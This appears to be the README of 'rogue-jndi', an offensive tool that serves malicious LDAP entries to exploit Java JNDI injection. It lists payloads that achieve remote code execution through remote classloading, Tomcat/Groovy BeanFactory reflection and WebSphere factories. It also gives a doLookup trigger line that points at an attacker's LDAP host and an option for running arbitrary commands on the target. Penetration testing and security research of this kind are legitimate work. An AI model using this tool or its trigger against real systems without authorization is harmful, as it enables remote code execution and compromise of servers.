rogue-jndi

Rogue JNDI

A malicious LDAP server for JNDI injection attacks.

Description

The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.

In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client, e.g.:

InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

It will initiate a connection from the vulnerable client to the local LDAP server. Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution.

Motivation

In addition to the known JNDI attack methods(via remote classloading in references), this tool brings new attack vectors by leveraging the power of ObjectFactories.

Supported payloads

• RemoteReference.java - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191
• Tomcat.java - leads to RCE via unsafe reflection in org.apache.naming.factory.BeanFactory
• Groovy.java - leads to RCE via unsafe reflection in org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell
• WebSphere1.java - leads to OOB XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
• WebSphere2.java - leads to RCE via classpath manipulation in com.ibm.ws.client.applicationclient.ClientJ2CCFFactory

Usage

…

The most important parameters are the ldap server hostname (-n, should be accessible from the target) and the command you want to execute on the target server (-c).

As an alternative to the "-c" option, you can modify the ExportObject.java file by putting java code you want to execute on the target server.

Example:

…

Building

Java v1.7+ and Maven v3+ required

mvn package

Disclamer

This software is provided solely for educational purposes and/or for testing systems which the user has prior permission to attack.

Special Thanks

• Alvaro Muñoz and Oleksandr Mirosh for the excellent whitepaper on JNDI attacks
• @zerothoughts for the inspirational spring-jndi repository
• Moritz Bechler for the eminent marshallsec research
• Orange Tsai and Welk1n for the Apache + Groovy gadget

Links

• An article about Exploiting JNDI Injections in Java in the Veracode Blog
• How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM

Authors

Michael Stepankin